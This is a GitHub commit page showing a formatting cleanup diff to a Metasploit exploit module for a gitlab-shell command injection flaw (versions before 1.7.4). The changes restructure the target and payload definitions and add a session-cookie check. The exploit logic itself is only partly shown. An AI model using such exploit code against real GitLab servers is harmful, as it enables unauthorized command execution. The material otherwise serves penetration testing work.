Skip to content

Commit 4e0f6df

Browse files
committed
Do minor cleanup
1 parent 5ed3e60 commit 4e0f6df

File tree

1 file changed

+42
-30
lines changed

1 file changed

+42
-30
lines changed

modules/exploits/multi/http/gitlab_shell_exec.rb

Lines changed: 42 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -16,12 +16,12 @@ def initialize(info = {})
1616
super(update_info(info,
1717
'Name' => 'Gitlab-shell Code Execution',
1818
'Description' => %q(
19-
This module takes advantage of the addition of authorized
20-
ssh keys in the gitlab-shell functionality of Gitlab. Versions
21-
of gitlab-shell prior to 1.7.4 used the ssh key provided directly
22-
in a system call resulting in a command injection vulnerability. As
23-
this relies on adding an ssh key to an account valid credentials
24-
are required to exploit this vulnerability.
19+
This module takes advantage of the addition of authorized
20+
ssh keys in the gitlab-shell functionality of Gitlab. Versions
21+
of gitlab-shell prior to 1.7.4 used the ssh key provided directly
22+
in a system call resulting in a command injection vulnerability. As
23+
this relies on adding an ssh key to an account valid credentials
24+
are required to exploit this vulnerability.
2525
),
2626
'Author' =>
2727
[
@@ -36,31 +36,42 @@ def initialize(info = {})
3636
'Platform' => 'linux',
3737
'Targets' =>
3838
[
39-
['Linux', {
40-
'Platform' => 'linux',
41-
'Arch' => ARCH_X86
42-
}],
43-
['Linux (x64)', {
44-
'Platform' => 'linux',
45-
'Arch' => ARCH_X86_64
46-
}],
47-
['Unix (CMD)', {
48-
'Platform' => 'unix',
49-
'Arch' => ARCH_CMD,
50-
'Payload' =>
39+
[ 'Linux',
40+
{
41+
'Platform' => 'linux',
42+
'Arch' => ARCH_X86
43+
}
44+
],
45+
[ 'Linux (x64)',
46+
{
47+
'Platform' => 'linux',
48+
'Arch' => ARCH_X86_64
49+
}
50+
],
51+
[ 'Unix (CMD)',
52+
{
53+
'Platform' => 'unix',
54+
'Arch' => ARCH_CMD,
55+
'Payload' =>
5156
{
52-
'Compat' => {
53-
'RequiredCmd' => 'openssl perl python'
54-
},
57+
'Compat' =>
58+
{
59+
'RequiredCmd' => 'openssl perl python'
60+
},
5561
'BadChars' => "\x22"
5662
}
57-
58-
}],
59-
['Python', {
60-
'Platform' => 'python',
61-
'Arch' => ARCH_PYTHON,
62-
'Payload' => { 'BadChars' => "\x22" }
63-
}]
63+
}
64+
],
65+
[ 'Python',
66+
{
67+
'Platform' => 'python',
68+
'Arch' => ARCH_PYTHON,
69+
'Payload' =>
70+
{
71+
'BadChars' => "\x22"
72+
}
73+
}
74+
]
6475
],
6576
'CmdStagerFlavor' => %w( bourne printf ),
6677
'DisclosureDate' => 'Nov 4 2013',
@@ -93,10 +104,9 @@ def execute_command(cmd, _opts = {})
93104

94105
def check
95106
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
96-
if res && res.body.include?('GitLab')
107+
if res && res.body && res.body.include?('GitLab')
97108
return Exploit::CheckCode::Detected
98109
else
99-
vprint_error("#{peer} - Connection timed out")
100110
return Exploit::CheckCode::Unknown
101111
end
102112
end
@@ -144,6 +154,8 @@ def login
144154
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302
145155

146156
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
157+
158+
fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
147159
end
148160

149161
def add_key(cmd)

0 commit comments

Comments
 (0)